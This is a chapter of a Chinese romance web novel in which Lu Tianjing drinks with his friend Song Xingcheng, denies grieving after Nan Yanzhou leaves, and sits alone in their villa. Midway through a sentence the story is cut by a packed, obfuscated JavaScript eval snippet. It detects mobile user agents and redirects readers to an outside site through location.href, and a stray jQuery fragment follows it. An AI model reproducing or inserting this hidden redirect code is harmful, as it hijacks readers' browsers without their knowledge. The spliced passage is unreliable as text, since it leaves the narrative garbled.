酒是宋星程约的。


    电话打过来的时候，陆天景正在办公室看文件，窗外的天已经黑透了。


    宋星程在电话里说，出来喝一杯，就咱俩。


    陆天景说行，挂了电话，又看了半小时文件，才起身拿外套。


    到地方的时候，宋星程已经等了一会儿。


    那家酒吧在一条僻静的胡同里，门脸不大，进去却别有洞天，昏暗的灯光，低沉的音乐，角落里零星坐着几桌客人。


    宋星程订了最里面的卡座，面前已经摆了一排酒。


    陆天景走过去，坐下，什么也没说，拿起一瓶就倒。


    宋星程看着他，也没说话，就看着他一杯接一杯地喝。


    喝到第三杯的时候，宋星程终于开口。


    “你这是儿喝酒还是喝水？”


    陆天景没理他，又倒了一杯。


    宋星程伸手按住他的手腕。


    “行了啊，差不多得了。”


    陆天景抬起眼皮看他一眼，那眼神里没什么内容，只是一瞥，然后挣开他的手，把酒喝了。


    宋星程叹了口气，靠在卡座里，看着他。


    “不就分个手吗，至于吗？”


    陆天景握着空杯子，没说话。


    “再说了，你们这叫分手吗？人家就是回趟黎城，又不是不回来了，你至于把自己喝成这样？”


    “没喝多。”陆天景说。


    声音很平，平得像在说明天的天气。


    宋星程看着他，忽然笑了一声。


    “没喝多？没喝多你从坐下到现在一句话不说，就知道喝？”


    陆天景没理他，又拿起酒瓶。


    宋星程这回没拦，就看着他倒满，端起来，一口干掉。


    “陆天景，”他开口，声音放得很轻，“你难受就说出来，我又不会笑话你。”


    陆天景把杯子放下。


    “不难受。”他说。


    宋星程挑了挑眉。


    “不难受？”


    “嗯。”


    “那你喝这么多干嘛？”


    陆天景沉默了两秒。


    “渴。”


    宋星程愣了一下，然后笑出声来。


    笑声在昏暗的卡座里显得有点突兀，旁边那桌的人侧目看过来，他又压低了。


    “渴？”他笑着重复，“你他妈真行。”


    陆天景没理他，又倒了一杯。


    宋星程收了笑，看着他。


    “陆天景，你跟我说实话，你现在什么感觉？”


    陆天景端着杯子，盯着那一片琥珀色的液体，看了很久。


    “没感觉。”他说。


    “没感觉？”


    “嗯。”


    “那你盯着杯子看什么？”


    陆天景没回答。


    宋星程等了一会儿，没等到回应。他靠回卡座里，端起自己的酒杯，喝了一口。


    “行，没感觉就没感觉吧。”他说，“反正就是个女人，走了就走了，有什么大不了的。”


    陆天景的手指顿了一下，很短，但宋星程看见了。


    他嘴角微微弯了弯，没说话。


    陆天景把那杯酒喝了，放下杯子。


    “就是个女人。”他重复了一遍，声音很轻，像是在确认什么。


    “对啊，”宋星程顺着说，“你陆天景什么人？要钱有钱，要颜有颜，还怕找不到女人？走了这个，还有下一个，有什么可难受的？”


    陆天景没说话。


    他只是又拿起酒瓶，倒了一杯。


    宋星程看着他，看着他一杯接一杯地喝，以及脸上那点淡淡的、什么也看不出来的表情。


    他认识陆天景二这么年，太知道这是什么意思。


    明明难受得要死，但就是死活不肯说。


    “陆天景，”他开口，语气正经了些，“你知道你这人最大的毛病是什么吗？”


    陆天景抬起眼皮看他。


    “你什么都不说。”宋星程说，“你对那个姑娘什么样，我全看在眼里，你为她做的那些事，你以为她不知道？她知道。但她怎么想？她会想，陆天景对我这么好，是因为什么？是因为喜欢我，还是因为可怜我？”


    陆天景的眉头动了一下。


    “你不说，她就只能猜，猜来猜去，猜到自己配不上你，猜到你只是心好，猜到你们不是一个世界的人。然后，她就走了。”


    包厢里安静了几秒。


    “我不可怜她。”陆天景忽然开口。


    声音很低，低到几乎听不见。


    宋星程看着他。


    “我知道。”他说，“但她不知道。”


    陆天景没说话。


    宋星程端起酒杯，喝了一口。


    “你说你，平时那么会说话，怎么到了她这儿，就变成哑巴了？”


    陆天景盯着杯子里的酒，没回答。


    宋星程等了一会儿，叹了口气。


    “行吧，你就倔着吧。反正难受的是你自己。”


    他又倒了一杯酒，推到陆天景面前。


    “来，再喝一杯，喝完了回去睡一觉，明天就好了。”


    陆天景端起那杯酒，一口干了。


    从酒吧出来的时候，已经快十二点了。


    宋星程要送他，他说不用，自己开了车。


    宋星程站在酒吧门口，看着他的车尾灯消失在夜色里，摇了摇头。


    陆天景一路开回别墅，开得比平时慢。


    车窗外的城市路灯一盏一盏往后退，他开着车，脑子里却什么也没想，只是盯着前方的路，盯着那些红色的尾灯，盯着偶尔闪过的绿灯。


    他把车停进车库，推开门，走进去。


    玄关的灯亮着，是他早上出门前开的，一直亮到现在。


    他换了鞋，往里走。


    客厅里黑着灯，只有窗外的灯火透进来，在地板上铺成一片暗淡的光。


    那束玫瑰还插在餐桌上，花瓣在昏暗里看不真切，只隐约看见一团深色的影子。


    他没有开灯。


    他走到沙发前，坐下。


    两只猫不知道从哪里钻出来，跳上他的腿。他摸了摸它们，一下一下，很慢。


    他坐在那里，看着那束玫瑰，过去这么多天，已经蔫了。


    像他的感情一样，枯萎了。


    陆天景忽然想起第一次遇到她的时候。


    那天他本来是想将计就计，趁着陈家请他吃饭，来个瓮中捉鳖，南雁舟的出现算是个意外，他本来没放在心上。


    但她身上那股淡淡的劲儿却让自己来了兴趣，一时兴起，他跟她谈了笔交易。


    当时他就是想玩一玩而已，把陆丰城气炸才是他的目的，至于其他的，他从来没想过。


    陆天景又想起最后她走的那天。


    她坐在餐桌边吃饭，低着头，刘海垂下来，遮住了眉眼。他问她今天有什么安排，她说下午四点的飞机。


    他问她怎么没告诉他，她说没必要。


    没必要。


    他想起这三个字，胸口忽然闷了一下。


    他想起很多事。


    想起她第一次来这个别墅的时候，站在窗户旁，看着蓝色的大海，眼睛亮晶晶地说：“这里真是个好地方，我很喜欢大海。”。


    那时他还不知道，这个看起来单薄得像随时会被风吹走的女孩，会在他的生活里待这么久。


    想起她坐在沙发上看书的样子，阳光从窗户照进来，落在她侧脸上。她看得入神，不知道他在看她。


    想起她笑的样子。很淡，淡到几乎看不出来，但眼睛弯起来，亮晶晶的。


    她很少笑，所以每一次他都记得。


    想起她看他的眼神，那里面有很多东西，他从来不敢细看的东西。


    猫在他腿上动了动，换了个姿势，又趴下了。


    陆天景看着那束玫瑰，看了很久。


    然后他站起来，走到餐桌边。


    他拿起那张卡片，翻开。


    上面那行字还在。


    “舟舟，我爱你。”


    是苏青未写的。


    苏青未说得对，他这个男朋友确实不够格，连花都没有送过，甚至……连那句我喜欢你都没有说出来。


    他把卡片放回去，走到窗边。


    窗外，城市的灯火暗下去。


    夜很深，深到看不见对面那栋楼的轮廓。远处的楼群还有零星的几盏灯亮着，像散落在黑暗里的几颗星星。


    陆天景转身，走回卧室。


    推开门，开灯。


    床上空空的，被子叠得整整齐齐，是那天早上她叠的。


    枕头还是两个，并排放着。他走过去，躺下，侧过身，对着那个空着的枕头。


    他伸出手，摸了一下。


    凉的。


    他闭上眼睛。


    脑子里乱哄哄的，全是她的影子。


    她站在厨房里的样子，她坐在餐桌边喝粥的样子，她靠在车窗上看窗外的样子，她转身走进机场的样子。


    他翻了个身，平躺着，看着天花板。


    黑暗中，他忽然开口。


    “阿舟。”


    声音很轻，轻到只有他自己能听见。


    没有人回应。


    只有窗外的风声，和两只猫在客厅里的呼噜声。


    -


    第二天中午，宋星程又打电话来。


    “出来吃饭。”他说，“别一个人闷着。”


    陆天景说：“不饿。”


    “不饿也得吃。”宋星程说，“我在老地方等你，你不来我就一直等。”


    电话挂断了。


    陆天景看着手机，看了几秒，然后起身穿衣服。


    到地方的时候，宋星程已经点好菜了。


    一家普通的家常菜馆，没什么装修，但菜好吃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217529|197285||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，是他们从小吃惯的那种味道。


    陆天景坐下，拿起筷子。


    宋星程看着他，没说话，就看着他吃。


    吃了几口，陆天景放下筷子。


    “看什么？”


    “看你。”宋星程说，“看你有没有把自己饿死。”


    陆天景没理他，又拿起筷子。


    宋星程也拿起筷子，夹了块排骨放进嘴里，嚼着。


    “昨晚回去怎么样？”他问，装作漫不经心。


    “什么怎么样？”


    “心情啊，难受不难受？”


    陆天景没说话，继续吃菜。


    宋星程等了一会儿，没等到回答。


    “陆天景，”他放下筷子，“你就不能跟我说句实话？”


    陆天景抬起头，看着他。


    “什么实话？”


    “你他妈到底难不难受？”


    陆天景沉默了两秒。


    “不难受。”他说。


    宋星程盯着他。


    “真的？”


    “真的。”


    “那你昨晚喝那么多？”


    “说了，渴。”


    宋星程愣了一下，然后笑了。


    不是高兴的笑，是那种“你他妈真行”的笑。


    “行，”他说，“你厉害。”


    陆天景没说话。


    宋星程端起茶杯喝了一口，放下。


    “你知道我为什么约你出来吗？”


    陆天景看着他。


    “因为我知道你难受，”宋星程说，“认识你这么多年，你什么样我还不清楚？你越说没事，越是有事。你越说不难受，越是难受得要死。”


    陆天景没说话。


    “可你他妈就是不说，”宋星程继续说，“从小到大，什么事都憋着。小时候被人欺负了，憋着。后来跟你爸闹翻了，憋着。现在南雁舟走了，你还是憋着。你就不能有一次，把心里话说出来？”


    陆天景垂下眼睛，看着面前的盘子。


    “有什么好说的。”他说。


    “有什么好说的？”宋星程重复了一遍，“你对她什么感觉，你倒是告诉她啊。你不说，她怎么知道？她走了，你在这儿难受，有什么用？”


    “我不难受。”陆天景又说了一遍。


    宋星程看着他，看了很久。


    然后他叹了口气。


    “行，你不难受。”他说，“就是个女人而已，走了就走了，有什么大不了的。对吧？”


    陆天景没说话。


    “你陆天景什么人？要钱有钱，要颜有颜，还怕找不到女人？走了这个，还有下一个，有什么可难受的？”


    陆天景端起茶杯，喝了一口。


    “就是。”他说。


    声音很轻。


    宋星程看着他，看着他端着茶杯的手，看着那微微泛白的指节，看着他脸上那点淡淡的、什么也看不出来的表情。


    他忽然有点心疼。


    不是心疼他分手，是心疼他这个人。


    心疼他什么都憋着，心疼他明明难受得要死还要装作没事，心疼他活了快三十年，还是学不会说一句“我难受”。


    “陆天景，”他开口，声音放得很轻，“你就嘴硬吧。”


    陆天景没说话。


    宋星程端起茶杯，跟他碰了一下。


    “来，敬你的嘴硬。”


    陆天景看着他，嘴角动了动。


    然后他端起茶杯，一口喝了。


    -


    吃完饭，两个人站在饭馆门口。


    阳光很好，照在身上暖洋洋的。


    街上人来人往，有人拎着菜篮子，有人牵着孩子，有人骑着电动车经过。


    宋星程点了根烟，吸了一口。


    “下午干嘛？”


    “回公司。”陆天景说。


    “周末还去公司？”


    “有事。”


    宋星程看着他，吐出一口烟。


    “行吧。那我走了，你自己好好的。”


    他拍了拍陆天景的肩膀，转身往停车场走。


    走了几步，他忽然停下来，回头。


    “陆天景。”


    陆天景看着他。


    “她走了，你难受，这没什么丢人的。”宋星程说，“难受就难受，非得装什么没事？”


    宋星程等了几秒，没等到回答，他摇了摇头，转身走了。


    陆天景站在原地，看着他的背影消失在拐角。


    阳光照在他身上，暖洋洋的。


    他站在那里，站了很久。


    然后他抬起头，看着天。


    天很蓝，蓝得不像冬天的天。


    他忽然想起她说过，黎城的天比燕城蓝，蓝得多。


    他低下头，拿出手机。


    打开那个对话框。


    陆天景编辑了很久，点击发送时，聊天框出现一个红红的感叹号……